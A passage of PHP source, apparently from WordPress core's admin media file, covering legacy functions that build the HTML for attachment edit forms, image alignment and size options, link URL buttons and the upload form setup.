		$return = media_upload_form_handler();

		if ( is_string( $return ) ) {
			return $return;
		}
		if ( is_array( $return ) ) {
			$errors = $return;
		}
	}

	return wp_iframe( 'media_upload_library_form', $errors );
}

/**
 * Retrieves HTML for the image alignment radio buttons with the specified one checked.
 *
 * @since 2.7.0
 *
 * @param WP_Post $post
 * @param string  $checked
 * @return string
 */
function image_align_input_fields( $post, $checked = '' ) {

	if ( empty( $checked ) ) {
		$checked = get_user_setting( 'align', 'none' );
	}

	$alignments = array(
		'none'   => __( 'None' ),
		'left'   => __( 'Left' ),
		'center' => __( 'Center' ),
		'right'  => __( 'Right' ),
	);

	if ( ! array_key_exists( (string) $checked, $alignments ) ) {
		$checked = 'none';
	}

	$output = array();

	foreach ( $alignments as $name => $label ) {
		$name     = esc_attr( $name );
		$output[] = "<input type='radio' name='attachments[{$post->ID}][align]' id='image-align-{$name}-{$post->ID}' value='$name'" .
			( $checked == $name ? " checked='checked'" : '' ) .
			" /><label for='image-align-{$name}-{$post->ID}' class='align image-align-{$name}-label'>$label</label>";
	}

	return implode( "\n", $output );
}

/**
 * Retrieves HTML for the size radio buttons with the specified one checked.
 *
 * @since 2.7.0
 *
 * @param WP_Post     $post
 * @param bool|string $check
 * @return array
 */
function image_size_input_fields( $post, $check = '' ) {
	/**
	 * Filters the names and labels of the default image sizes.
	 *
	 * @since 3.3.0
	 *
	 * @param string[] $size_names Array of image size labels keyed by their name. Default values
	 *                             include 'Thumbnail', 'Medium', 'Large', and 'Full Size'.
	 */
	$size_names = apply_filters(
		'image_size_names_choose',
		array(
			'thumbnail' => __( 'Thumbnail' ),
			'medium'    => __( 'Medium' ),
			'large'     => __( 'Large' ),
			'full'      => __( 'Full Size' ),
		)
	);

	if ( empty( $check ) ) {
		$check = get_user_setting( 'imgsize', 'medium' );
	}

	$output = array();

	foreach ( $size_names as $size => $label ) {
		$downsize = image_downsize( $post->ID, $size );
		$checked  = '';

		// Is this size selectable?
		$enabled = ( $downsize[3] || 'full' === $size );
		$css_id  = "image-size-{$size}-{$post->ID}";

		// If this size is the default but that's not available, don't select it.
		if ( $size == $check ) {
			if ( $enabled ) {
				$checked = " checked='checked'";
			} else {
				$check = '';
			}
		} elseif ( ! $check && $enabled && 'thumbnail' !== $size ) {
			/*
			 * If $check is not enabled, default to the first available size
			 * that's bigger than a thumbnail.
			 */
			$check   = $size;
			$checked = " checked='checked'";
		}

		$html = "<div class='image-size-item'><input type='radio' " . disabled( $enabled, false, false ) . "name='attachments[$post->ID][image-size]' id='{$css_id}' value='{$size}'$checked />";

		$html .= "<label for='{$css_id}'>$label</label>";

		// Only show the dimensions if that choice is available.
		if ( $enabled ) {
			$html .= " <label for='{$css_id}' class='help'>" . sprintf( '(%d&nbsp;&times;&nbsp;%d)', $downsize[1], $downsize[2] ) . '</label>';
		}
		$html .= '</div>';

		$output[] = $html;
	}

	return array(
		'label' => __( 'Size' ),
		'input' => 'html',
		'html'  => implode( "\n", $output ),
	);
}

/**
 * Retrieves HTML for the Link URL buttons with the default link type as specified.
 *
 * @since 2.7.0
 *
 * @param WP_Post $post
 * @param string  $url_type
 * @return string
 */
function image_link_input_fields( $post, $url_type = '' ) {

	$file = wp_get_attachment_url( $post->ID );
	$link = get_attachment_link( $post->ID );

	if ( empty( $url_type ) ) {
		$url_type = get_user_setting( 'urlbutton', 'post' );
	}

	$url = '';

	if ( 'file' === $url_type ) {
		$url = $file;
	} elseif ( 'post' === $url_type ) {
		$url = $link;
	}

	return "
	<input type='text' class='text urlfield' name='attachments[$post->ID][url]' value='" . esc_attr( $url ) . "' /><br />
	<button type='button' class='button urlnone' data-link-url=''>" . __( 'None' ) . "</button>
	<button type='button' class='button urlfile' data-link-url='" . esc_url( $file ) . "'>" . __( 'File URL' ) . "</button>
	<button type='button' class='button urlpost' data-link-url='" . esc_url( $link ) . "'>" . __( 'Attachment Post URL' ) . '</button>
';
}

/**
 * Outputs a textarea element for inputting an attachment caption.
 *
 * @since 3.4.0
 *
 * @param WP_Post $edit_post Attachment WP_Post object.
 * @return string HTML markup for the textarea element.
 */
function wp_caption_input_textarea( $edit_post ) {
	// Post data is already escaped.
	$name = "attachments[{$edit_post->ID}][post_excerpt]";

	return '<textarea name="' . $name . '" id="' . $name . '">' . $edit_post->post_excerpt . '</textarea>';
}

/**
 * Retrieves the image attachment fields to edit form fields.
 *
 * @since 2.5.0
 *
 * @param array  $form_fields
 * @param object $post
 * @return array
 */
function image_attachment_fields_to_edit( $form_fields, $post ) {
	return $form_fields;
}

/**
 * Retrieves the single non-image attachment fields to edit form fields.
 *
 * @since 2.5.0
 *
 * @param array   $form_fields An array of attachment form fields.
 * @param WP_Post $post        The WP_Post attachment object.
 * @return array Filtered attachment form fields.
 */
function media_single_attachment_fields_to_edit( $form_fields, $post ) {
	unset( $form_fields['url'], $form_fields['align'], $form_fields['image-size'] );
	return $form_fields;
}

/**
 * Retrieves the post non-image attachment fields to edit form fields.
 *
 * @since 2.8.0
 *
 * @param array   $form_fields An array of attachment form fields.
 * @param WP_Post $post        The WP_Post attachment object.
 * @return array Filtered attachment form fields.
 */
function media_post_single_attachment_fields_to_edit( $form_fields, $post ) {
	unset( $form_fields['image_url'] );
	return $form_fields;
}

/**
 * Retrieves the media element HTML to send to the editor.
 *
 * @since 2.5.0
 *
 * @param string  $html
 * @param int     $attachment_id
 * @param array   $attachment
 * @return string
 */
function image_media_send_to_editor( $html, $attachment_id, $attachment ) {
	$post = get_post( $attachment_id );

	if ( str_starts_with( $post->post_mime_type, 'image' ) ) {
		$url   = $attachment['url'];
		$align = ! empty( $attachment['align'] ) ? $attachment['align'] : 'none';
		$size  = ! empty( $attachment['image-size'] ) ? $attachment['image-size'] : 'medium';
		$alt   = ! empty( $attachment['image_alt'] ) ? $attachment['image_alt'] : '';
		$rel   = ( str_contains( $url, 'attachment_id' ) || get_attachment_link( $attachment_id ) === $url );

		return get_image_send_to_editor( $attachment_id, $attachment['post_excerpt'], $attachment['post_title'], $align, $url, $rel, $size, $alt );
	}

	return $html;
}

/**
 * Retrieves the attachment fields to edit form fields.
 *
 * @since 2.5.0
 *
 * @param WP_Post $post
 * @param array   $errors
 * @return array
 */
function get_attachment_fields_to_edit( $post, $errors = null ) {
	if ( is_int( $post ) ) {
		$post = get_post( $post );
	}

	if ( is_array( $post ) ) {
		$post = new WP_Post( (object) $post );
	}

	$image_url = wp_get_attachment_url( $post->ID );

	$edit_post = sanitize_post( $post, 'edit' );

	$form_fields = array(
		'post_title'   => array(
			'label' => __( 'Title' ),
			'value' => $edit_post->post_title,
		),
		'image_alt'    => array(),
		'post_excerpt' => array(
			'label' => __( 'Caption' ),
			'input' => 'html',
			'html'  => wp_caption_input_textarea( $edit_post ),
		),
		'post_content' => array(
			'label' => __( 'Description' ),
			'value' => $edit_post->post_content,
			'input' => 'textarea',
		),
		'url'          => array(
			'label' => __( 'Link URL' ),
			'input' => 'html',
			'html'  => image_link_input_fields( $post, get_option( 'image_default_link_type' ) ),
			'helps' => __( 'Enter a link URL or click above for presets.' ),
		),
		'menu_order'   => array(
			'label' => __( 'Order' ),
			'value' => $edit_post->menu_order,
		),
		'image_url'    => array(
			'label' => __( 'File URL' ),
			'input' => 'html',
			'html'  => "<input type='text' class='text urlfield' readonly='readonly' name='attachments[$post->ID][url]' value='" . esc_attr( $image_url ) . "' /><br />",
			'value' => wp_get_attachment_url( $post->ID ),
			'helps' => __( 'Location of the uploaded file.' ),
		),
	);

	foreach ( get_attachment_taxonomies( $post ) as $taxonomy ) {
		$t = (array) get_taxonomy( $taxonomy );

		if ( ! $t['public'] || ! $t['show_ui'] ) {
			continue;
		}

		if ( empty( $t['label'] ) ) {
			$t['label'] = $taxonomy;
		}

		if ( empty( $t['args'] ) ) {
			$t['args'] = array();
		}

		$terms = get_object_term_cache( $post->ID, $taxonomy );

		if ( false === $terms ) {
			$terms = wp_get_object_terms( $post->ID, $taxonomy, $t['args'] );
		}

		$values = array();

		foreach ( $terms as $term ) {
			$values[] = $term->slug;
		}

		$t['value'] = implode( ', ', $values );

		$form_fields[ $taxonomy ] = $t;
	}

	/*
	 * Merge default fields with their errors, so any key passed with the error
	 * (e.g. 'error', 'helps', 'value') will replace the default.
	 * The recursive merge is easily traversed with array casting:
	 * foreach ( (array) $things as $thing )
	 */
	$form_fields = array_merge_recursive( $form_fields, (array) $errors );

	// This was formerly in image_attachment_fields_to_edit().
	if ( str_starts_with( $post->post_mime_type, 'image' ) ) {
		$alt = get_post_meta( $post->ID, '_wp_attachment_image_alt', true );

		if ( empty( $alt ) ) {
			$alt = '';
		}

		$form_fields['post_title']['required'] = true;

		$form_fields['image_alt'] = array(
			'value' => $alt,
			'label' => __( 'Alternative Text' ),
			'helps' => __( 'Alt text for the image, e.g. &#8220;The Mona Lisa&#8221;' ),
		);

		$form_fields['align'] = array(
			'label' => __( 'Alignment' ),
			'input' => 'html',
			'html'  => image_align_input_fields( $post, get_option( 'image_default_align' ) ),
		);

		$form_fields['image-size'] = image_size_input_fields( $post, get_option( 'image_default_size', 'medium' ) );

	} else {
		unset( $form_fields['image_alt'] );
	}

	/**
	 * Filters the attachment fields to edit.
	 *
	 * @since 2.5.0
	 *
	 * @param array   $form_fields An array of attachment form fields.
	 * @param WP_Post $post        The WP_Post attachment object.
	 */
	$form_fields = apply_filters( 'attachment_fields_to_edit', $form_fields, $post );

	return $form_fields;
}

/**
 * Retrieves HTML for media items of post gallery.
 *
 * The HTML markup retrieved will be created for the progress of SWF Upload
 * component. Will also create link for showing and hiding the form to modify
 * the image attachment.
 *
 * @since 2.5.0
 *
 * @global WP_Query $wp_the_query WordPress Query object.
 *
 * @param int   $post_id Post ID.
 * @param array $errors  Errors for attachment, if any.
 * @return string HTML content for media items of post gallery.
 */
function get_media_items( $post_id, $errors ) {
	$attachments = array();

	if ( $post_id ) {
		$post = get_post( $post_id );

		if ( $post && 'attachment' === $post->post_type ) {
			$attachments = array( $post->ID => $post );
		} else {
			$attachments = get_children(
				array(
					'post_parent' => $post_id,
					'post_type'   => 'attachment',
					'orderby'     => 'menu_order ASC, ID',
					'order'       => 'DESC',
				)
			);
		}
	} else {
		if ( is_array( $GLOBALS['wp_the_query']->posts ) ) {
			foreach ( $GLOBALS['wp_the_query']->posts as $attachment ) {
				$attachments[ $attachment->ID ] = $attachment;
			}
		}
	}

	$output = '';
	foreach ( (array) $attachments as $id => $attachment ) {
		if ( 'trash' === $attachment->post_status ) {
			continue;
		}

		$item = get_media_item( $id, array( 'errors' => isset( $errors[ $id ] ) ? $errors[ $id ] : null ) );

		if ( $item ) {
			$output .= "\n<div id='media-item-$id' class='media-item child-of-$attachment->post_parent preloaded'><div class='progress hidden'><div class='bar'></div></div><div id='media-upload-error-$id' class='hidden'></div><div class='filename hidden'></div>$item\n</div>";
		}
	}

	return $output;
}

/**
 * Retrieves HTML form for modifying the image attachment.
 *
 * @since 2.5.0
 *
 * @global string $redir_tab
 *
 * @param int          $attachment_id Attachment ID for modification.
 * @param string|array $args          Optional. Override defaults.
 * @return string HTML form for attachment.
 */
function get_media_item( $attachment_id, $args = null ) {
	global $redir_tab;

	$thumb_url     = false;
	$attachment_id = (int) $attachment_id;

	if ( $attachment_id ) {
		$thumb_url = wp_get_attachment_image_src( $attachment_id, 'thumbnail', true );

		if ( $thumb_url ) {
			$thumb_url = $thumb_url[0];
		}
	}

	$post            = get_post( $attachment_id );
	$current_post_id = ! empty( $_GET['post_id'] ) ? (int) $_GET['post_id'] : 0;

	$default_args = array(
		'errors'     => null,
		'send'       => $current_post_id ? post_type_supports( get_post_type( $current_post_id ), 'editor' ) : true,
		'delete'     => true,
		'toggle'     => true,
		'show_title' => true,
	);

	$parsed_args = wp_parse_args( $args, $default_args );

	/**
	 * Filters the arguments used to retrieve an image for the edit image form.
	 *
	 * @since 3.1.0
	 *
	 * @see get_media_item
	 *
	 * @param array $parsed_args An array of arguments.
	 */
	$parsed_args = apply_filters( 'get_media_item_args', $parsed_args );

	$toggle_on  = __( 'Show' );
	$toggle_off = __( 'Hide' );

	$file     = get_attached_file( $post->ID );
	$filename = esc_html( wp_basename( $file ) );
	$title    = esc_attr( $post->post_title );

	$post_mime_types = get_post_mime_types();
	$keys            = array_keys( wp_match_mime_types( array_keys( $post_mime_types ), $post->post_mime_type ) );
	$type            = reset( $keys );
	$type_html       = "<input type='hidden' id='type-of-$attachment_id' value='" . esc_attr( $type ) . "' />";

	$form_fields = get_attachment_fields_to_edit( $post, $parsed_args['errors'] );

	if ( $parsed_args['toggle'] ) {
		$class        = empty( $parsed_args['errors'] ) ? 'startclosed' : 'startopen';
		$toggle_links = "
		<a class='toggle describe-toggle-on' href='#'>$toggle_on</a>
		<a class='toggle describe-toggle-off' href='#'>$toggle_off</a>";
	} else {
		$class        = '';
		$toggle_links = '';
	}

	$display_title = ( ! empty( $title ) ) ? $title : $filename; // $title shouldn't ever be empty, but just in case.
	$display_title = $parsed_args['show_title'] ? "<div class='filename new'><span class='title'>" . wp_html_excerpt( $display_title, 60, '&hellip;' ) . '</span></div>' : '';

	$gallery = ( ( isset( $_REQUEST['tab'] ) && 'gallery' === $_REQUEST['tab'] ) || ( isset( $redir_tab ) && 'gallery' === $redir_tab ) );
	$order   = '';

	foreach ( $form_fields as $key => $val ) {
		if ( 'menu_order' === $key ) {
			if ( $gallery ) {
				$order = "<div class='menu_order'> <input class='menu_order_input' type='text' id='attachments[$attachment_id][menu_order]' name='attachments[$attachment_id][menu_order]' value='" . esc_attr( $val['value'] ) . "' /></div>";
			} else {
				$order = "<input type='hidden' name='attachments[$attachment_id][menu_order]' value='" . esc_attr( $val['value'] ) . "' />";
			}

			unset( $form_fields['menu_order'] );
			break;
		}
	}

	$media_dims = '';
	$meta       = wp_get_attachment_metadata( $post->ID );

	if ( isset( $meta['width'], $meta['height'] ) ) {
		$media_dims .= "<span id='media-dims-$post->ID'>{$meta['width']}&nbsp;&times;&nbsp;{$meta['height']}</span> ";
	}

	/**
	 * Filters the media metadata.
	 *
	 * @since 2.5.0
	 *
	 * @param string  $media_dims The HTML markup containing the media dimensions.
	 * @param WP_Post $post       The WP_Post attachment object.
	 */
	$media_dims = apply_filters( 'media_meta', $media_dims, $post );

	$image_edit_button = '';

	if ( wp_attachment_is_image( $post->ID ) && wp_image_editor_supports( array( 'mime_type' => $post->post_mime_type ) ) ) {
		$nonce             = wp_create_nonce( "image_editor-$post->ID" );
		$image_edit_button = "<input type='button' id='imgedit-open-btn-$post->ID' onclick='imageEdit.open( $post->ID, \"$nonce\" )' class='button' value='" . esc_attr__( 'Edit Image' ) . "' /> <span class='spinner'></span>";
	}

	$attachment_url = get_permalink( $attachment_id );

	$item = "
		$type_html
		$toggle_links
		$order
		$display_title
		<table class='slidetoggle describe $class'>
			<thead class='media-item-info' id='media-head-$post->ID'>
			<tr>
			<td class='A1B1' id='thumbnail-head-$post->ID'>
			<p><a href='$attachment_url' target='_blank'><img class='thumbnail' src='$thumb_url' alt='' /></a></p>
			<p>$image_edit_button</p>
			</td>
			<td>
			<p><strong>" . __( 'File name:' ) . "</strong> $filename</p>
			<p><strong>" . __( 'File type:' ) . "</strong> $post->post_mime_type</p>
			<p><strong>" . __( 'Upload date:' ) . '</strong> ' . mysql2date( __( 'F j, Y' ), $post->post_date ) . '</p>';

	if ( ! empty( $media_dims ) ) {
		$item .= '<p><strong>' . __( 'Dimensions:' ) . "</strong> $media_dims</p>\n";
	}

	$item .= "</td></tr>\n";

	$item .= "
		</thead>
		<tbody>
		<tr><td colspan='2' class='imgedit-response' id='imgedit-response-$post->ID'></td></tr>\n
		<tr><td style='display:none' colspan='2' class='image-editor' id='image-editor-$post->ID'></td></tr>\n
		<tr><td colspan='2'><p class='media-types media-types-required-info'>" .
			wp_required_field_message() .
		"</p></td></tr>\n";

	$defaults = array(
		'input'      => 'text',
		'required'   => false,
		'value'      => '',
		'extra_rows' => array(),
	);

	if ( $parsed_args['send'] ) {
		$parsed_args['send'] = get_submit_button( __( 'Insert into Post' ), '', "send[$attachment_id]", false );
	}

	$delete = empty( $parsed_args['delete'] ) ? '' : $parsed_args['delete'];
	if ( $delete && current_user_can( 'delete_post', $attachment_id ) ) {
		if ( ! EMPTY_TRASH_DAYS ) {
			$delete = "<a href='" . wp_nonce_url( "post.php?action=delete&amp;post=$attachment_id", 'delete-post_' . $attachment_id ) . "' id='del[$attachment_id]' class='delete-permanently'>" . __( 'Delete Permanently' ) . '</a>';
		} elseif ( ! MEDIA_TRASH ) {
			$delete = "<a href='#' class='del-link' onclick=\"document.getElementById('del_attachment_$attachment_id').style.display='block';return false;\">" . __( 'Delete' ) . "</a>
				<div id='del_attachment_$attachment_id' class='del-attachment' style='display:none;'>" .
				/* translators: %s: File name. */
				'<p>' . sprintf( __( 'You are about to delete %s.' ), '<strong>' . $filename . '</strong>' ) . "</p>
				<a href='" . wp_nonce_url( "post.php?action=delete&amp;post=$attachment_id", 'delete-post_' . $attachment_id ) . "' id='del[$attachment_id]' class='button'>" . __( 'Continue' ) . "</a>
				<a href='#' class='button' onclick=\"this.parentNode.style.display='none';return false;\">" . __( 'Cancel' ) . '</a>
				</div>';
		} else {
			$delete = "<a href='" . wp_nonce_url( "post.php?action=trash&amp;post=$attachment_id", 'trash-post_' . $attachment_id ) . "' id='del[$attachment_id]' class='delete'>" . __( 'Move to Trash' ) . "</a>
			<a href='" . wp_nonce_url( "post.php?action=untrash&amp;post=$attachment_id", 'untrash-post_' . $attachment_id ) . "' id='undo[$attachment_id]' class='undo hidden'>" . __( 'Undo' ) . '</a>';
		}
	} else {
		$delete = '';
	}

	$thumbnail       = '';
	$calling_post_id = 0;

	if ( isset( $_GET['post_id'] ) ) {
		$calling_post_id = absint( $_GET['post_id'] );
	} elseif ( isset( $_POST ) && count( $_POST ) ) {// Like for async-upload where $_GET['post_id'] isn't set.
		$calling_post_id = $post->post_parent;
	}

	if ( 'image' === $type && $calling_post_id
		&& current_theme_supports( 'post-thumbnails', get_post_type( $calling_post_id ) )
		&& post_type_supports( get_post_type( $calling_post_id ), 'thumbnail' )
		&& get_post_thumbnail_id( $calling_post_id ) != $attachment_id
	) {

		$calling_post             = get_post( $calling_post_id );
		$calling_post_type_object = get_post_type_object( $calling_post->post_type );

		$ajax_nonce = wp_create_nonce( "set_post_thumbnail-$calling_post_id" );
		$thumbnail  = "<a class='wp-post-thumbnail' id='wp-post-thumbnail-" . $attachment_id . "' href='#' onclick='WPSetAsThumbnail(\"$attachment_id\", \"$ajax_nonce\");return false;'>" . esc_html( $calling_post_type_object->labels->use_featured_image ) . '</a>';
	}

	if ( ( $parsed_args['send'] || $thumbnail || $delete ) && ! isset( $form_fields['buttons'] ) ) {
		$form_fields['buttons'] = array( 'tr' => "\t\t<tr class='submit'><td></td><td class='savesend'>" . $parsed_args['send'] . " $thumbnail $delete</td></tr>\n" );
	}

	$hidden_fields = array();

	foreach ( $form_fields as $id => $field ) {
		if ( '_' === $id[0] ) {
			continue;
		}

		if ( ! empty( $field['tr'] ) ) {
			$item .= $field['tr'];
			continue;
		}

		$field = array_merge( $defaults, $field );
		$name  = "attachments[$attachment_id][$id]";

		if ( 'hidden' === $field['input'] ) {
			$hidden_fields[ $name ] = $field['value'];
			continue;
		}

		$required      = $field['required'] ? ' ' . wp_required_field_indicator() : '';
		$required_attr = $field['required'] ? ' required' : '';
		$class         = $id;
		$class        .= $field['required'] ? ' form-required' : '';

		$item .= "\t\t<tr class='$class'>\n\t\t\t<th scope='row' class='label'><label for='$name'><span class='alignleft'>{$field['label']}{$required}</span><br class='clear' /></label></th>\n\t\t\t<td class='field'>";

		if ( ! empty( $field[ $field['input'] ] ) ) {
			$item .= $field[ $field['input'] ];
		} elseif ( 'textarea' === $field['input'] ) {
			if ( 'post_content' === $id && user_can_richedit() ) {
				// Sanitize_post() skips the post_content when user_can_richedit.
				$field['value'] = htmlspecialchars( $field['value'], ENT_QUOTES );
			}
			// Post_excerpt is already escaped by sanitize_post() in get_attachment_fields_to_edit().
			$item .= "<textarea id='$name' name='$name'{$required_attr}>" . $field['value'] . '</textarea>';
		} else {
			$item .= "<input type='text' class='text' id='$name' name='$name' value='" . esc_attr( $field['value'] ) . "'{$required_attr} />";
		}

		if ( ! empty( $field['helps'] ) ) {
			$item .= "<p class='help'>" . implode( "</p>\n<p class='help'>", array_unique( (array) $field['helps'] ) ) . '</p>';
		}
		$item .= "</td>\n\t\t</tr>\n";

		$extra_rows = array();

		if ( ! empty( $field['errors'] ) ) {
			foreach ( array_unique( (array) $field['errors'] ) as $error ) {
				$extra_rows['error'][] = $error;
			}
		}

		if ( ! empty( $field['extra_rows'] ) ) {
			foreach ( $field['extra_rows'] as $class => $rows ) {
				foreach ( (array) $rows as $html ) {
					$extra_rows[ $class ][] = $html;
				}
			}
		}

		foreach ( $extra_rows as $class => $rows ) {
			foreach ( $rows as $html ) {
				$item .= "\t\t<tr><td></td><td class='$class'>$html</td></tr>\n";
			}
		}
	}

	if ( ! empty( $form_fields['_final'] ) ) {
		$item .= "\t\t<tr class='final'><td colspan='2'>{$form_fields['_final']}</td></tr>\n";
	}

	$item .= "\t</tbody>\n";
	$item .= "\t</table>\n";

	foreach ( $hidden_fields as $name => $value ) {
		$item .= "\t<input type='hidden' name='$name' id='$name' value='" . esc_attr( $value ) . "' />\n";
	}

	if ( $post->post_parent < 1 && isset( $_REQUEST['post_id'] ) ) {
		$parent      = (int) $_REQUEST['post_id'];
		$parent_name = "attachments[$attachment_id][post_parent]";
		$item       .= "\t<input type='hidden' name='$parent_name' id='$parent_name' value='$parent' />\n";
	}

	return $item;
}

/**
 * @since 3.5.0
 *
 * @param int   $attachment_id
 * @param array $args
 * @return array
 */
function get_compat_media_markup( $attachment_id, $args = null ) {
	$post = get_post( $attachment_id );

	$default_args = array(
		'errors'   => null,
		'in_modal' => false,
	);

	$user_can_edit = current_user_can( 'edit_post', $attachment_id );

	$args = wp_parse_args( $args, $default_args );

	/** This filter is documented in wp-admin/includes/media.php */
	$args = apply_filters( 'get_media_item_args', $args );

	$form_fields = array();

	if ( $args['in_modal'] ) {
		foreach ( get_attachment_taxonomies( $post ) as $taxonomy ) {
			$t = (array) get_taxonomy( $taxonomy );

			if ( ! $t['public'] || ! $t['show_ui'] ) {
				continue;
			}

			if ( empty( $t['label'] ) ) {
				$t['label'] = $taxonomy;
			}

			if ( empty( $t['args'] ) ) {
				$t['args'] = array();
			}

			$terms = get_object_term_cache( $post->ID, $taxonomy );

			if ( false === $terms ) {
				$terms = wp_get_object_terms( $post->ID, $taxonomy, $t['args'] );
			}

			$values = array();

			foreach ( $terms as $term ) {
				$values[] = $term->slug;
			}

			$t['value']    = implode( ', ', $values );
			$t['taxonomy'] = true;

			$form_fields[ $taxonomy ] = $t;
		}
	}

	/*
	 * Merge default fields with their errors, so any key passed with the error
	 * (e.g. 'error', 'helps', 'value') will replace the default.
	 * The recursive merge is easily traversed with array casting:
	 * foreach ( (array) $things as $thing )
	 */
	$form_fields = array_merge_recursive( $form_fields, (array) $args['errors'] );

	/** This filter is documented in wp-admin/includes/media.php */
	$form_fields = apply_filters( 'attachment_fields_to_edit', $form_fields, $post );

	unset(
		$form_fields['image-size'],
		$form_fields['align'],
		$form_fields['image_alt'],
		$form_fields['post_title'],
		$form_fields['post_excerpt'],
		$form_fields['post_content'],
		$form_fields['url'],
		$form_fields['menu_order'],
		$form_fields['image_url']
	);

	/** This filter is documented in wp-admin/includes/media.php */
	$media_meta = apply_filters( 'media_meta', '', $post );

	$defaults = array(
		'input'         => 'text',
		'required'      => false,
		'value'         => '',
		'extra_rows'    => array(),
		'show_in_edit'  => true,
		'show_in_modal' => true,
	);

	$hidden_fields = array();

	$item = '';

	foreach ( $form_fields as $id => $field ) {
		if ( '_' === $id[0] ) {
			continue;
		}

		$name    = "attachments[$attachment_id][$id]";
		$id_attr = "attachments-$attachment_id-$id";

		if ( ! empty( $field['tr'] ) ) {
			$item .= $field['tr'];
			continue;
		}

		$field = array_merge( $defaults, $field );

		if ( ( ! $field['show_in_edit'] && ! $args['in_modal'] ) || ( ! $field['show_in_modal'] && $args['in_modal'] ) ) {
			continue;
		}

		if ( 'hidden' === $field['input'] ) {
			$hidden_fields[ $name ] = $field['value'];
			continue;
		}

		$readonly      = ! $user_can_edit && ! empty( $field['taxonomy'] ) ? " readonly='readonly' " : '';
		$required      = $field['required'] ? ' ' . wp_required_field_indicator() : '';
		$required_attr = $field['required'] ? ' required' : '';
		$class         = 'compat-field-' . $id;
		$class        .= $field['required'] ? ' form-required' : '';

		$item .= "\t\t<tr class='$class'>";
		$item .= "\t\t\t<th scope='row' class='label'><label for='$id_attr'><span class='alignleft'>{$field['label']}</span>$required<br class='clear' /></label>";
		$item .= "</th>\n\t\t\t<td class='field'>";

		if ( ! empty( $field[ $field['input'] ] ) ) {
			$item .= $field[ $field['input'] ];
		} elseif ( 'textarea' === $field['input'] ) {
			if ( 'post_content' === $id && user_can_richedit() ) {
				// sanitize_post() skips the post_content when user_can_richedit.
				$field['value'] = htmlspecialchars( $field['value'], ENT_QUOTES );
			}
			$item .= "<textarea id='$id_attr' name='$name'{$required_attr}>" . $field['value'] . '</textarea>';
		} else {
			$item .= "<input type='text' class='text' id='$id_attr' name='$name' value='" . esc_attr( $field['value'] ) . "' $readonly{$required_attr} />";
		}

		if ( ! empty( $field['helps'] ) ) {
			$item .= "<p class='help'>" . implode( "</p>\n<p class='help'>", array_unique( (array) $field['helps'] ) ) . '</p>';
		}

		$item .= "</td>\n\t\t</tr>\n";

		$extra_rows = array();

		if ( ! empty( $field['errors'] ) ) {
			foreach ( array_unique( (array) $field['errors'] ) as $error ) {
				$extra_rows['error'][] = $error;
			}
		}

		if ( ! empty( $field['extra_rows'] ) ) {
			foreach ( $field['extra_rows'] as $class => $rows ) {
				foreach ( (array) $rows as $html ) {
					$extra_rows[ $class ][] = $html;
				}
			}
		}

		foreach ( $extra_rows as $class => $rows ) {
			foreach ( $rows as $html ) {
				$item .= "\t\t<tr><td></td><td class='$class'>$html</td></tr>\n";
			}
		}
	}

	if ( ! empty( $form_fields['_final'] ) ) {
		$item .= "\t\t<tr class='final'><td colspan='2'>{$form_fields['_final']}</td></tr>\n";
	}

	if ( $item ) {
		$item = '<p class="media-types media-types-required-info">' .
			wp_required_field_message() .
			'</p>' .
			'<table class="compat-attachment-fields">' . $item . '</table>';
	}

	foreach ( $hidden_fields as $hidden_field => $value ) {
		$item .= '<input type="hidden" name="' . esc_attr( $hidden_field ) . '" value="' . esc_attr( $value ) . '" />' . "\n";
	}

	if ( $item ) {
		$item = '<input type="hidden" name="attachments[' . $attachment_id . '][menu_order]" value="' . esc_attr( $post->menu_order ) . '" />' . $item;
	}

	return array(
		'item' => $item,
		'meta' => $media_meta,
	);
}

/**
 * Outputs the legacy media upload header.
 *
 * @since 2.5.0
 */
function media_upload_header() {
	$post_id = isset( $_REQUEST['post_id'] ) ? (int) $_REQUEST['post_id'] : 0;

	echo '<script type="text/javascript">post_id = ' . $post_id . ';</script>';

	if ( empty( $_GET['chromeless'] ) ) {
		echo '<div id="media-upload-header">';
		the_media_upload_tabs();
		echo '</div>';
	}
}

/**
 * Outputs the legacy media upload form.
 *
 * @since 2.5.0
 *
 * @global string $type
 * @global string $tab
 *
 * @param array $errors
 */
function media_upload_form( $errors = null ) {
	global $type, $tab;

	if ( ! _device_can_upload() ) {
		echo '<p>' . sprintf(
			/* translators: %s: https://apps.wordpress.org/ */
			__( 'The web browser on your device cannot be used to upload files. You may be able to use the <a href="%s">native app for your device</a> instead.' ),
			'https://apps.wordpress.org/'
		) . '</p>';
		return;
	}

	$upload_action_url = admin_url( 'async-upload.php' );
	$post_id           = isset( $_REQUEST['post_id'] ) ? (int) $_REQUEST['post_id'] : 0;
	$_type             = isset( $type ) ? $type : '';
	$_tab              = isset( $tab ) ? $tab : '';

	$max_upload_size = wp_max_upload_size();
	if ( ! $max_upload_size ) {
		$max_upload_size = 0;
	}

	?>
	<div id="media-upload-notice">
	<?php

	if ( isset( $errors['upload_notice'] ) ) {
		echo $errors['upload_notice'];
	}

	?>
	</div>
	<div id="media-upload-error">
	<?php

	if ( isset( $errors['upload_error'] ) && is_wp_error( $errors['upload_error'] ) ) {
		echo $errors['upload_error']->get_error_message();
	}

	?>
	</div>
	<?php

	if ( is_multisite() && ! is_upload_space_available() ) {
		/**
		 * Fires when an upload will exceed the defined upload space quota for a network site.
		 *
		 * @since 3.5.0
		 */
		do_action( 'upload_ui_over_quota' );
		return;
	}

	/**
	 * Fires just before the legacy (pre-3.5.0) upload interface is loaded.
	 *
	 * @since 2.6.0
	 */
	do_action( 'pre-upload-ui' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

	$post_params = array(
		'post_id'  => $post_id,
		'_wpnonce' => wp_create_nonce( 'media-form' ),
		'type'     => $_type,
		'tab'      => $_tab,
		'short'    => '1',
	);

	/**
	 * Filters the media upload post parameters.
	 *
	 * @since 3.1.0 As 'swfupload_post_params'
	 * @since 3.3.0
	 *
	 * @param array $post_params An array of media upload parameters used by Plupload.
	 */
	$post_params = apply_filters( 'upload_post_params', $post_params );

	/*
	* Since 4.9 the `runtimes` setting is hardcoded in our version of Plupload to `html5,html4`,
	* and the `flash_swf_url` and `silverlight_xap_url` are not used.
	*/
	$plupload_init = array(
		'browse_button'    => 'plupload-browse-button',
		'container'        => 'plupload-upload-ui',
		'drop_element'     => 'drag-drop-area',
		'file_data_name'   => 'async-upload',
		'url'              => $upload_action_url,
		'filters'          => array( 'max_file_size' => $max_upload_size . 'b' ),
		'multipart_params' => $post_params,
	);

	/*
	 * Currently only iOS Safari supports multiple files uploading,
